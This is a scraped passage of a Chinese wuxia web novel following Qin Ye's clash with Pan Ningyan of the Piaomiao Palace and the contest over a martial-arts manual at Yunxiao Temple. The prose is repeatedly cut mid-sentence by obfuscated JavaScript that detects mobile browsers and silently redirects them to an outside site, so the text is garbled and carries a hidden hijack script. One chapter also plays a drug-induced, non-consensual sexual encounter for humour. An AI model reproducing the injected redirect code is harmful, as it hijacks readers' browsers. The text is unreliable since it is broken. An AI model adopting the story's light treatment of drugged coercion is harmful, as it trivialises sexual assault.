沈化林和韩九立刻上前，警惕地盯着老者：“你是何人？” “老朽只是个传话的。”老者笑道，“我家小姐有请。” “不认识，没兴趣。”秦烨直接拒绝。他能感觉到这老者身上隐藏的危险气息。 老者却不肯让路：“我家小姐诚心相邀，还请公子赏脸。” “如果我说不呢？”秦烨眯起眼睛，语气转冷。 沈化林和韩九已经做好战斗准备，手按在兵器上。 老者突然一击掌，三个白袍骑士从树林中窜出，将秦烨等人围住。他们手持长剑，目光冰冷地盯着秦烨一行人。 就在这时，一道柔媚的声音传来：“难道小女子长得太丑，让公子连见都不愿见一面？” 秦烨抬头望去，只见一顶华丽的轿子缓缓而来。轿帘掀开，露出一张倾城绝色的面容。那女子约莫二十岁上下，肌肤胜雪，眉目如画，唇角挂着若有若无的笑意。 “并非如此。”秦烨拱手道，“只是在下确有要事在身，还请小姐见谅。” 虽然这女子美若天仙，但他能感受到对方身上危险的气息。那双美目中偶尔闪过的寒芒，让人不寒而栗。 “公子这么急着走，莫非做了什么亏心事？”女子眼波流转，声音魅惑动人。 “大丈夫行得正坐得端，何来亏心之说？”秦烨正色道。 “是吗？”女子轻笑，玉手轻抚额前青丝，“那为何我教中的魏衡会出事呢？” 话音刚落，空气骤然凝固。秦烨握紧缰绳，暗暗戒备。沈化林和韩九也是神色一凛，随时准备出手。 秦韶华不由得往秦烨怀里缩了缩，感受到了场面的剑拔**张。 “小姐此言何意？”秦烨沉声问道。 “公子何必装傻？”女子眼中闪过一丝寒芒，“我教魏衡失踪，偏偏在公子去过的地方。这么巧的事，公子说……该如何解释？” 秦烨冷笑一声：“天下之大，难道我去过的地方，发生什么事都要算在我头上？” “那公子为何不敢与小女子当面说个明白？”女子语气转冷。 秦烨勒住马缰，目光警惕地扫过前方拦路的几道人影。 “这件事？”他嘴角扬起一抹轻笑，眼底却闪过一丝戒备，“等我回汴城后自会查个水落石出，真凶定逃不掉。” 说罢，他轻轻一夹马腹，打算绕道而行。 “咯咯……”一阵轻笑传来，“公子何必装傻充愣，杀我教中魏衡，如今还想贼喊捉贼不成？” 既然对方已经堵上门来，秦烨也不再伪装。他翻身下马，神色淡然：“是我杀的，又如何？” 转头对身旁的秦韶华低声道：“待会你先走。” 秦韶华紧紧攥着缰绳，指节发白，显然也察觉到了当前的凶险。 “呵呵，既然公子都坦白了，那就休怪小女子无情。”潘凝烟冷笑，玉手轻抚发髻间的金钗，“杀我缥缈宫之人，今日你休想离开。” “若我非要走呢？”秦烨眉头微皱，手已经按在了剑柄上。 潘凝烟不再多言，玉手一挥：“动手，速战速决，我们还要赶往云霄观。” 话音未落，四名高手瞬间出手，朝着沈化林和韩九扑去。沈化林拔剑在手，韩九也取出**，四人顿时战作一团。刀光剑影中，不时传来金铁交鸣之声。 虽然对方修为略逊一筹，但以多打少，一时间竟难分胜负。沈化林和韩九虽然武艺高强，但面对四名好手的**，也只能勉强招架。 秦烨见状，对马背上的秦韶华沉声道：“快回云霄观，那里安全。” “我不走……”秦韶华摇头，眼中满是担忧。 秦烨不由分说，一掌拍在马臀上。马儿吃痛，载着秦韶华向云霄观狂奔而去。 “倒是个重情重义的男人。”潘凝烟轻笑，红唇微启，“可惜，今日你必死无疑。不过看在你情深义重的份上，我会让你死得痛快些。” 话音未落，她已纵身而起，眉心处浮现出一朵血色莲花。那莲花诡异妖艳，散发着令人心悸的气息。 秦烨心中一凛，这缥缈宫的**当真诡异。传闻缥缈宫中人修炼采阴补阳之术，但真正厉害的是他们独特的紫月心经。 “那就要看你有没有这个本事了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我知道，但杀我教中人，总要付出代价。”潘凝烟眼中闪过一丝复杂，“放心，我会让你走得痛快些……” “那我还真得多谢你了。”秦烨语气中带着几分调侃。 第一百四十八章 中**散 就在潘凝烟稍一分神之际，秦烨猛然发力，体内真气爆发。丝带虽然坚韧，却也承受不住这股力量，瞬间崩断。 秦烨趁机一掌直取她胸前，掌力中还带着几分调笑意味。这一掌看似轻浮，实则暗含杀机。 “手感不错。”秦烨轻笑。 潘凝烟一袭白衣胜雪，腰间系着淡紫色的丝带，整个人看起来既清冷又妖娆。此刻她正死死盯着秦烨，眼中燃烧着怒火。 “秦烨，你这个登徒子！”潘凝烟银牙紧咬，“今日我必取你性命！” 她玉手一扬，三道寒光破空而来。飞镖在阳光下闪烁着冰冷的光芒，直奔秦烨面门。 秦烨身形一晃，轻巧地避开攻击。飞镖“咄咄”钉入身后的树干，深入三分。他不禁暗自心惊，这女人的暗器功夫确实了得。 “潘仙子何必动怒？”秦烨笑着说道，“我不过是拿了你们缥缈宫的些许药物，又不是什么大不了的事。” “放肆！”潘凝烟娇喝一声，“**散岂是你能染指的？” 她玉足轻点地面，整个人如同一片落叶般飘向秦烨。纤细的手掌携带着凌厉的劲风，直取秦烨咽喉。 远处树林中，两名影卫正躲在暗处观战。 “这女子的身手不错。”其中一人低声道。 另一人点点头：“缥缈宫的功夫向来诡异，咱们要不要出手帮忙？” “先看看再说，秦烨这小子向来有些手段。” 战场上，秦烨与潘凝烟你来我往，战得难解难分。秦烨的身法灵活，总能在千钧一发之际避开对方的攻击。而潘凝烟的招式则是越来越凌厉，显然已经动了真怒。 “砰！” 一声脆响，秦烨的衣袖被划破一道口子。他暗自心惊，这女人的功夫比想象中还要厉害几分。 “看来只能用那个了。”秦烨心中暗道。 他突然从怀中掏出一物，朝着潘凝烟掷去。后者见状，立即祭出一枚飞镖迎击。 “不好！” 等潘凝烟看清那是什么时，已经晚了。飞镖击中了那个小瓷瓶，瓶子碎裂，一阵粉红色的烟雾在空中弥漫开来。 “**散！”潘凝烟脸色大变。 这种药物她再熟悉不过，作为缥缈宫的弟子，她清楚这种药物的威力。一旦吸入，不出片刻就会全身发热，意识模糊。 “你这个混账！”她咬牙切齿地瞪着秦烨。 秦烨也没想到事情会变成这样，他原本只是想用药物迷晕对方。谁知这女人非要用飞镖击碎瓷瓶，现在好了，两人都吸入了药物。 远处的影卫见状，默契地转过身去。 “这……咱们还是去看看沈化林那边的战况吧。” “甚好，甚好。” 秦烨感觉浑身燥热，体内仿佛有一团火在燃烧。他看向潘凝烟，发现对方俏脸已经泛起红晕，眼神也变得迷离起来。 “该死！”秦烨暗骂一声。 潘凝烟强撑着最后一丝清明，从怀中取出一个小瓷瓶。那是解药，只要服下就能化解**散的药力。 然而秦烨哪能让她如愿？他箭步上前，一把打落她手中的瓷瓶。药粉洒了一地，随风飘散。 “你！”潘凝烟气得浑身发抖。 秦烨已经控制不住自己，一把将她搂在怀中。他能感受到怀中人儿的娇躯在微微颤抖，灼热的呼吸喷在她的耳畔。 “放开我！”潘凝烟挣扎着。 但药力发作下，她的力气正在快速流失。身体变得酥软无力，连站立都变得困难起来。 “要不……我们先解决眼前的问题？”秦烨低声说道。 “做梦！” 潘凝烟一掌拍出，但已经没有了先前的力道。秦烨轻易就接住了她的手，然后将她压在了一棵大树上。 “你这个登徒子……我必须得干掉你……”她咬着牙说道。 “这药可是你们缥缈宫的，要说登徒子，你们才是正宗。”秦烨反唇相讥。 两人的呼吸越来越急促，身体也越来越烫。药力的作用下，理智正在快速消退。 “你……你走……”潘凝烟咬着嘴唇说道。 她知道自己已经撑不了多久了，再这样下去，后果不堪设想。 秦烨深吸一口气：“真的不需 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你以为这样就完了？”潘凝烟冷笑道，玉手轻抚过腰间的软剑，“我缥缈宫的人，可不是这么好糊弄的。” 秦烨转身，玩味地看着她：“怎么，还想再来一次？我倒是不介意。”他的目光在她身上流连，带着几分挑逗的意味。 “无耻！”潘凝烟啐了一口，手中暗器蓄势待发。但她很快就发现，自己的身子竟然还在发软，根本使不出力气。那种无力感让她心中一惊，这男人究竟对她做了什么？ 秦烨看出她的意图，笑道：“别费力气了，你现在这个状态，还是好好休息吧。”他的语气中带着几分调侃，“要不要我帮你按摩一下？” “你……”潘凝烟气得说不出话来，胸口剧烈起伏。她从未遇到过如此狂妄的男人，竟敢在她面前如此放肆。 就在这时，远处传来急促的脚步声。秦烨眯起眼睛，认出是沈化林和韩九的身影。月光下，两人的身形快速接近，脸上带着焦急之色。 “公子！”沈化林快步上前，目光警惕地扫视四周，“您没事吧？我们听到这边有动静，就赶紧过来了。” 秦烨摆摆手：“无妨。”他的语气依旧从容，仿佛刚才经历的不过是一场普通的遭遇。 韩九打量着四周，警惕地问道：“那个缥缈宫的妖女呢？听说她的**散连武林高手都难以抵挡。” “在那边。”秦烨指了指身后的树林，嘴角带着一丝若有若无的笑意。 沈化林惊讶道：“公子是如何制服她的？据说这缥缈宫的仙姬手段非同一般，连少台寺的空性大师都栽在她手上。” 秦烨嘴角微扬：“有些事情，不是只能用武力解决。”他的话中带着深意，让沈化林和韩九面面相觑。 话音未落，四道身影突然从暗处窜出，正是潘凝烟的手下。他们看到毫发无损的秦烨，顿时大惊。月光下，四人的脸上写满了难以置信。 “仙姬在哪？”四人厉声喝问，手中的兵器闪烁着寒光。 “我在这里。”潘凝烟的声音从树林中传来，比往日更添了几分媚意。她缓缓走出，月光下的身影显得格外妖娆。 四名手下听出声音有异，连忙问道：“仙姬可有受伤？这个小贼可曾对您无礼？” “哼，一个小贼，还伤不到我。”潘凝烟强撑着说道，实则每动一步都牵动着身体的疼痛。她暗暗咬牙，心中对秦烨的恨意更深了几分。 秦烨看着剑拔**张的场面，忽然开口：“潘姑娘，要不要让你的人退下？免得一会又要重演方才的戏码。”他的语气轻松，却带着不容置疑的威胁。 这话让潘凝烟心头一颤，想起刚才的疯狂，她咬牙道：“都退下！” “但是仙姬……”四人还想说什么，手中的兵器握得更紧了。 “没听到我的话吗？”潘凝烟加重了语气，眼中闪过一丝寒芒。 四人只得退到一旁，但眼睛依然死死盯着秦烨一行人。夜风吹过，树叶沙沙作响，气氛越发紧张。 秦烨整理了下衣衫，转身道：“告辞了。”他的背影在月光下显得格外潇洒。 “等等！”潘凝烟突然喊住他，声音中带着几分不甘，“总有一天，我会找到你的。这个仇，我一定要报！” 秦烨头也不回地摆摆手：“随时恭候。”他的语气依旧轻松，仿佛完全不把她的威胁放在心上。 看着秦烨远去的背影，潘凝烟眼中闪过复杂的神色。这个神秘的男人，不仅破了她的**散，还让她第一次尝到了败绩的滋味。更可恨的是，他竟然用如此特殊的方式破解了**散的药效。 “仙姬，要不要我们现在就去追？”一个手下小心翼翼地问道。 潘凝烟摇摇头：“不必了。”她的目光依然停留在秦烨消失的方向，“此人不简单，贸然追击只会自取其辱。” 沈化林和韩九跟在秦烨身后，心中对主子更添敬佩。能在不伤人的情况下化解这场危机，这份本事着实不简单。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15681442|170040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “公子，那个缥缈宫的仙姬不会就此罢休吧？”沈化林担忧地问道。 秦烨淡淡一笑：“她当然不会。”他的目光望向远处，“不过这样也好，让游戏继续下去。” “公子，我们现在去哪？”沈化林小心翼翼地问道。 “回去。”秦烨淡淡地说，“今晚的事，就当没发生过。”他的语气平静，但眼中却闪过一丝深邃的光芒。 三人的身影渐渐消失在夜色中，只留下一地的月光，静静地诉说着这一夜的故事。而在树林深处，潘凝烟望着秦烨离去的方向，眼中闪过一丝异样的光芒。 “仙姬，接下来我们该怎么办？”手下们小心翼翼地问道。 潘凝烟冷笑一声：“查，给我查清楚他的身份。”她的声音中带着一丝咬牙切齿的味道，“我倒要看看，是什么人敢这样戏弄我缥缈宫。” 月光下，她的身影显得格外孤寂。这一夜的遭遇，不仅让她失去了引以为傲的清白，更重要的是，她第一次在一个男人面前感到了无力。 这种感觉让她既愤怒又困惑。那个男人的身份，他的来历，他的目的，这些谜题像是一团乱麻，缠绕在她的心头。 山路崎岖，两侧的树影在月光下摇曳，投下斑驳的光影。偶尔有夜枭的叫声传来，更添几分诡异。 “小心些。”秦烨突然压低声音，“前面有人。” 果然，拐过一个山角，就看到两个身穿黑衣的人影闪过。沈化林眼疾手快，从怀中掏出一枚暗器，却被秦烨制止。 “是上官家的人。”秦烨低声解释，“他们应该是去探路的。” 韩九有些紧张：“那我们要不要绕路？” “不用。”秦烨摇头，“反而要加快速度。上官煜既然派人探路，说明他们的大队人马还在后面。” 三人加快马速，很快就看到了云霄观的轮廓。远远望去，来往的武林人士比之前多了数倍，火把的光芒将整个山门照得通明。 第一百五十章 不可开交 “戴上面具。”秦烨从怀中取出三副青铜面具，“上官煜他们应该快到了，不能让人认出我们的身份。” 这是虎卫特制的面具，上面雕刻着精美的龙纹，戴上后几乎无法辨认真容。材质特殊，既不会影响呼吸，也能抵挡一些暗器的攻击。 三人刚进入云霄观，就看到秦韶华焦急地等在门口。即便秦烨戴着面具，她还是一眼就认出了对方。 “你没事吧？”秦韶华快步上前，关切地问道。月光下，她的脸上写满担忧。 秦烨轻笑：“放心，他们没法伤到我。” 秦韶华仔细打量了一番，见秦烨确实安然无恙，才嗔怪道：“为什么不让我留下来帮你？” “你爷爷将你托付给我，我得负起这个责任。”秦烨一边说着，一边警惕地观察四周。 云霄观内已经**了不少高手，光是四品境界以上的就有十几人。为了天地大挪移，江湖上的顶尖高手几乎都来了。空气中弥漫着一股剑拔**张的气息，仿佛一点火星就能引爆全场。 就在这时，山门外传来一阵骚动。人群自动分开，让出一条通道。 一个戴着面具的高大身影缓步而来，每一步都仿佛踏在人心上。那份气势，让在场的高手都不由自主地屏住呼吸。 “是芮容霄！” “兵器录第一高手也来了！” “这下有好戏看了。” 周围响起阵阵议论声。有人惊叹，有人畏惧，更多的是跃跃欲试。 沈化林和韩九对视一眼，都为秦烨的先见之明感到庆幸。若不是提前戴上面具，此刻怕是已经暴露了身份。 芮容霄径直走到巩明道长面前，用腹语问道：“可以进入后山了吗？” 巩明道长面不改色，手中的拂尘轻轻一甩：“时辰未到，还请诸位再等片刻。” 芮容霄不以为意地笑了笑，反而显得很满意。在他看来，巩明道长这样拦着反而正中下怀。那些实力低微的年轻人就算进入墓中，也不可能是守陵人的对手。而等到时机成熟，他自会出手夺取天地大挪移。 秦烨看着这一幕，眉头微皱。他注意到芮容霄的右手始终按在剑柄上，显然随时准备出手。而在场的其他高手也都暗暗戒备，生怕错过任何机会。 此时的东雄图墨陵前，已经打得不可开交。几具尸体倒在地上，鲜血染红了台阶。墓道入口虽然打开，但想要进去却要先过守陵人这一关。 原本守陵人对擅闯者是格杀勿论，但现在却改变了规则，让闯入者相互比试，胜者才有资格与他对话。至于能否得到天地大挪移，就要看各人的本事了。 沈飞雪和武勇的刀锋所向，一片血光。刀光剑影中，武勇的长剑如毒蛇吐信，每一次出击都直取要害。沈飞雪则是大开大合，手中长刀横扫千军，招招狠辣。 “小心！”沈飞雪一刀劈开迎面而来的剑气，余波震得周围的树叶纷纷飘落。 武勇侧身避过一记暗器，长剑横扫，逼退两名**之敌。“这些人的武功都不简单。” 短短片刻，已有五名江湖高手倒在他们的联手之下。这些人都是各大门派的精英弟子，一身武艺足以纵横江湖，却在这一刻化作了冰冷的尸体。鲜血染红了泥土，空气中弥漫着浓重的血腥味。 秦烨站在远处的山坡上，默默注视着这一切。江湖之争，向来如此残酷。微风拂过他的衣袍，带来一丝凉意。 “走吧，云霄观那边应该已经**了不少人。”秦烨转身对身旁的沈化林说道，声音里带着几分疲惫。 沈化林点头应是，紧随其后。两人沿着山路向云霄观走去，脚下的落叶发出细微的响声。 云霄观内，气氛凝重得仿佛能滴出水来。 大殿之中，十数把交椅分列两侧。坐着的都是江湖上赫赫有名的宗师级人物，他们身后则站着各自门派的精锐弟子。香炉中袅袅升起的檀香，也无法驱散殿内的肃杀之气。 秦烨本想速速离去，却被这浓郁的江湖气息吸引。他决定多留片刻，观察这些江湖中人的举止。靠在殿外的柱子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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抬头望去，只见一个黑袍人正隔着人群凝视着自己。那目光冰冷刺骨，令他心中泛起一丝不安。对方的眼神中似乎带着某种深意，却又让人捉摸不透。 再定睛看时，那黑袍人却已不见踪影，仿佛从未出现过一般。 第一百五十一章 萝莉月华 “奇怪。”秦烨喃喃自语，额头上渗出细密的汗珠。 这时，小萝莉月华已经在大殿中穿梭起来，不时逗弄着在座的各位高手。她的笑声清脆悦耳，却给人一种说不出的违和感。 “老爷爷，让我摸摸你的胡子嘛！”她蹦到一位白须老者面前，伸出小手就要去摸。 “去去去！”老者连忙躲开，脸上露出不悦之色。 众人见状都笑了起来，殿内的气氛稍微缓和了些。只有上官煜的脸色越发凝重，他的手指不自觉地握紧了椅子扶手。 他知道，月华的师父陈锋，很可能就是此番争夺天地大挪移的最大对手。这个看似人畜无害的小女孩，恐怕也不简单。 秦烨注意到上官煜的神色变化，若有所思。这云霄观中，恐怕每个人都藏着不为人知的心思，每个人都在打着自己的算盘。 “公子，我们要不要……”沈化林正要开口，眼中闪过一丝担忧。 秦烨摆了摆手：“再等等。”他的声音很轻，却带着不容置疑的语气。 他总觉得那个消失的黑袍人有些蹊跷。而且月华这个小姑娘，看似天真无邪，举手投足间却透着一股说不出的诡异。这里的每个人，似乎都不简单。 山风呼啸，树影婆娑。一行人沿着山路缓步而行，脚步声踩在枯叶上发出沙沙的响动。 月华蹦蹦跳跳地在人群中穿梭，一张稚嫩的小脸上洋溢着天真烂漫的笑容。她对每个人都很熟悉，打着招呼的样子活泼可爱。忽然，她的目光落在一个抱剑之人身上，小脸瞬间阴沉下来。 “杨辰，你怎么也来了？”月华皱着眉头，声音里带着明显的不悦。 杨辰神色平静地看了她一眼，没有说话，只是默默地握紧了手中的剑。 秦烨注意到这一幕，转头低声问道：“那人是谁？” “青霄峰的弃徒杨辰。”沈化林压低声音解释，眼中闪过一丝轻蔑，“此人在青霄峰学艺时品行不端，被逐出师门。如今江湖中人对他都是不屑一顾。” 秦烨微微点头，目光重新落在那个活泼的小萝莉身上。月华似乎已经忘记了不快，又开始在人群中蹦蹦跳跳。她忽然注意到了秦烨脸上的面具，眼睛一亮，朝这边跑了过来。 “大哥哥，你的面具真好看呀！”她伸出小手就要去摸秦烨的面具，眼中闪烁着好奇的光芒。 “月华，不得无礼！”一道苍老但温和的声音响起，打断了月华的动作。 秦烨抬眼望去，只见一位白发老妪站在不远处，面容慈祥，眼角的皱纹里藏着岁月的痕迹。她身上穿着一件淡紫色的长袍，整个人给人一种温婉端庄的感觉。 “这位是玉华门的玉华宗主。”沈化林在一旁提醒道，语气中带着几分敬重。 月华听到呵斥，立刻跑到老妪身边，撒娇道：“奶奶，我没有欺负人家嘛。”她拉着老妪的衣袖，眼睛眨啊眨的，模样甚是可爱。 “今日你要乖乖在外面等着。”老妪摸了摸她的头发，语气柔和但不容置疑。 “为什么不让我进去？”月华嘟着小嘴，一脸不满地跺了跺脚。 老妪从怀中掏出一枚糖果：“听话，给你吃糖。” 就在这时，山门外又出现了个人，整个场面瞬间安静下来。来人身材高大，一袭白衣胜雪，面容清俊，举手投足间自有一股超然气度。 秦烨感受到那人身上强大的气息，不由得多看了几眼。那人每走一步，周围的空气似乎都在微微震颤。 “此人是月华的师父陈锋，正是他发现了东雄图陵寝中的通道。”沈化林解释道，声音中带着一丝敬畏。 韩九也凑过来低声道：“公子，这陈锋与玉华宗主一同前来，看来他们今日是势在必得啊。” 秦韶华站在一旁，默默地观察着四周的情况，手中的长剑随时准备出鞘。 秦烨嘴角微扬，心中暗笑。他们又怎会知道，那天地大挪移早已落入自己手中？想到上官煜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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众人闻言，更加谨慎了。秦烨注意到，有几个胆小的已经悄悄退了下去。 山路越来越陡，空气也变得稀薄起来。秦烨能感觉到，周围的气氛越来越紧张。每个人都在提防着其他人，生怕有人突然发难。 “公子，前面就是墓室入口了。”沈化林指着前方说道。 秦烨抬头望去，只见山顶处有一个巨大的石门，门上雕刻着繁复的花纹。此时石门大开，露出里面漆黑的通道。 “诸位，到此为止吧。”巩明道长的声音突然在身后响起，“再往前，恐怕就要见血了。” 有几个人闻言退了下去，但大多数人依旧坚定地往前走。他们的眼中都闪烁着对武功秘籍的渴望。 “在下早已将生死置之度外。”陈锋淡然道，“能与东雄图前辈同葬于此，这算是死得值了。” 巩明道长叹息一声：“那老道就不多言了，诸位好自为之。” 秦烨带着三人不紧不慢地跟在人群后面。沈化林、韩九和秦韶华都在等他的指示，这份忠诚让他很是满意。 秦烨刚要离开，衣角却被人轻轻拉住。他转身望去，一个穿着粉色襦裙的小萝莉正抓着他的衣服，大大的眼睛里闪烁着好奇的光芒。 “大哥哥，你的面具……”月华仰着小脸，声音软糯。 山风轻拂，吹动她鬓角的碎发。秦烨看着这个可爱的小丫头，心中不由一软。平日里对待他人时的冷漠在此刻消失无踪，取而代之的是温和的笑意。 “你想要这个面具吗？”秦烨蹲下身，与她平视，“但这东西可不能给哦。” “为什么不行！”小萝莉立刻嘟起嘴巴，眉头皱成一团，一副不高兴的模样。她跺了跺脚，“我就要这个！” 秦烨被她孩子气的举动逗笑了，指了指山下：“这个面具我要用，不过山下马背上的包袱里还有几个，你可以去拿一个。” “真的吗？太好了！”月华欢呼一声，蹦蹦跳跳地往山下跑去，裙摆在风中飞扬。 秦烨转身对沈化林等人说道：“走吧，上山看看。这种江湖盛事百年难遇，错过了怕是要后悔一辈子。” 众人纷纷点头应和。山路崎岖，但丝毫不影响他们前进的脚步。没走多远，身后突然传来小孩子的哭声。秦烨回头一看，只见戴着面具的月华一边哭一边向这边跑来，小脸上挂着泪珠。 “怎么了小丫头？”秦烨连忙蹲下身，轻轻抚摸她的头，“有人对你下手了？” 月华扑进秦烨怀里，抽抽搭搭地说：“不是……是大哥哥的坐骑，它踢了我一脚，好痛啊……”她的声音带着哭腔，但眼睛却滴溜溜地转着。 沈化林等人忍不住笑出声来。秦烨也明白，以月华五品的功力，一匹马根本伤不到她。这小丫头八成是在撒娇。 “不疼不疼，一会就好了。”秦烨轻声安慰道，顺手擦去她脸上的泪水。 果然，月华很快破涕为笑，瞪着水汪汪的眼睛问道：“大哥哥，你们这是打算爬山去吗？”她的眼睛亮晶晶的，仿佛装着整个陈锋。 “是啊。”秦烨点头。 “能带我一起去吗？”月华期待地看着秦烨，“师父不让我上山，但我真的好想去看看。我从来没见过这么多武林高手呢！” 秦烨摇头：“你师父不让，我哪敢带你去。万一被发现了，你师父非得把我大卸八块不可。” “我戴着面具，躲在大哥哥身后，师父肯定发现不了的！”月华狡黠一笑，露出两个小酒窝，“而且我保证，一定乖乖的，不给大哥哥添麻烦！” 秦烨看着她期待的眼神，不由失笑。思索片刻后点头道：“那就跟着去吧，不过要记住，只能在我身后看，不许出手。” “嗯嗯！”月华开心地连连点头，小脸上写满了喜悦。 山路越来越陡，但对这些武林高手来说并不算什么。秦烨一行人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15693934|170040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很快就来到了半山腰。远处传来打斗声，显然已经有人开始争斗了。 “大哥哥，你说他们为什么要打架啊？”月华躲在秦烨身后，小声问道。 秦烨叹了口气：“因为利益。江湖中人，为了**秘籍，什么事都做得出来。” “那大哥哥也是为了**来的吗？” 秦烨没有回答，只是摸了摸她的头。 等他们到达山顶时，墓道入口处已经**了不少人。原本小辈之间的争斗早已演变成江湖高手的对峙。空气中弥漫着剑拔**张的气氛。 守陵人秦望山终于现身，他站在墓道前，威严地环视四周。他的目光如刀，扫过每一个人的脸庞：“诸位请回吧，莫要打扰东雄图前辈的安息。” “这位兄台，我等远道而来就是为了天地大挪移，还请行个方便。”杨辰抱拳说道，语气中带着几分客气。 柳风也开口劝道：“守陵人兄弟，你一人如何挡得住这么多高手？何不移步让路，大家一同进去。天地大挪移长埋地下实在可惜，我大周武学多年不进，正是因为先贤们将**藏起。如今有机会重现天日，岂能坐视不理？” 此言一出，立刻引得众人附和。各种劝说声、指责声不绝于耳。有人开始蠢蠢欲动，手已经按在了兵器上。 秦望山却岿然不动，面色如常：“天地大挪移有何好争的？诸位何必如此？” “若不是好东西，你又何必死守？”人群中有人怒喝，声音中充满不屑。 上官煜目光阴冷，上前一步。他的剑还未出鞘，但周身已经萦绕着凌厉的剑气：“守陵人，识相的就让开。否则等下英雄相争，你的性命难保。” “老朽职责使然，不能让。”秦望山态度坚决，眼中闪过一丝决然。 这句话彻底激怒了上官煜。他冷哼一声，周身剑气涌动：“既然你执意找死，那就休怪我不客气！” 话音未落，凌厉的剑气已如暴雨般向秦望山袭去。 第一百五十三章 破绽百出 上官煜的剑招看似威猛，实则破绽百出。剑光闪烁间，他的每一招都带着几分急躁，仿佛迫不及待要击败眼前这位守陵人。 秦望山面对这般攻势，只是轻描淡写地挡下，甚至连眼神也未曾变化半分。他的动作看似缓慢，却总能准确地化解对方的进攻。那份从容，仿佛在面对一个初学剑法的孩童。 “这……”有人忍不住倒吸一口凉气，“守陵人的实力竟如此了得？” “依我看，这人怕是要吃亏了。”人群中有人低声议论。 上官煜听在耳中，心中暗恼。他本以为凭借自己的实力，足以轻易击败一个看守墨陵的老头。可眼下这情形，却是大大出乎他的意料。汗水顺着他的额角滑落，打湿了衣襟。 “砰！”剑气纵横，上官煜手中长剑陡然加快，剑尖直指秦望山胸口。这一剑，他已然用上了全力，剑气呼啸，带起一阵劲风。 秦望山却是不慌不忙，只见他双拳一握，刹那间金光乍现，将整个人笼罩其中。那金光如同实质，在阳光下闪烁着耀眼的光芒。 “七星养气诀！”人群中有人惊呼出声，“难怪他能如此从容，这可是上古神功啊！” “传闻七星养气诀练至大成，可刀枪不入，水火不侵。”另一人补充道，语气中带着几分向往。 上官煜的剑尖触及金光的瞬间，便如泥牛入海，再难寸进。他心中一惊，这七星养气诀竟能完全克制他的噬月大功。额头上的汗珠更密了，顺着脸颊滴落。 连退数步，上官煜警惕地盯着秦望山。后者却是负手而立，一副高手风范。那从容不迫的模样，仿佛方才的交手不过是一场闲聊。 这副姿态更是激怒了上官煜，他眼中浮现狠色，转头朝着周围人群大喊：“诸位还在等什么？若想得到天地大挪移，现在就是最好的机会！” 秦烨站在不远处，看得清清楚楚。秦望山的实力确实今非昔比，这都要归功于他前些日子帮其疏通经络，让守陵人的功力能够完全发挥。只是眼下的局势，却让他有些担忧。 柳风闻言，目光闪动，手中长剑微微颤动。他看了看秦望山，又瞥了眼墓道入口，似乎在权衡得失。 杨辰则是冷笑一声，手中长剑已然出鞘。剑身泛着寒光，在阳光下折射出森然的光芒。 陈锋更是毫不犹豫，身形一闪，已然来到上官煜身旁。他的眼中闪烁着兴奋的光芒，显然对天地大挪移志在必得。 “既然如此……”柳风长剑一挥，率先出手。 剑光如雨，朝着秦望山笼罩而去。杨辰见状，也不甘示弱，长剑化作一道流光，直取秦望山后心。 可即便面对数位高手的**，秦望山依旧游刃有余。他的身形在金光中若隐若现，每一次出手都恰到好处。 “砰！”一掌之下，柳风连退数步，胸口气血翻涌。他的脸色瞬间变得苍白，额头上冒出冷汗。 “这守陵人的实力……”柳风心中骇然，若非对方手下留情，这一掌足以让他重伤。 杨辰见状，心中有些忌惮。他的剑招明显变得谨慎起来，不再像方才那般凌厉。 陈锋则是趁机绕到秦望山身后，手中暗器蓄势待发。只等一个破绽，就要给予致命一击。 正当战况愈发激烈之际，一道悠然的声音传来：“诸位，能不能先停停？” 巩明道长不知何时已经来到近前，他的道袍随风飘动，给人一种超然物外的感觉。他看了看秦望山，又环视众人：“老秦啊，今日之事由他去吧。天地大挪移尘封多年，也应该见见光了。” 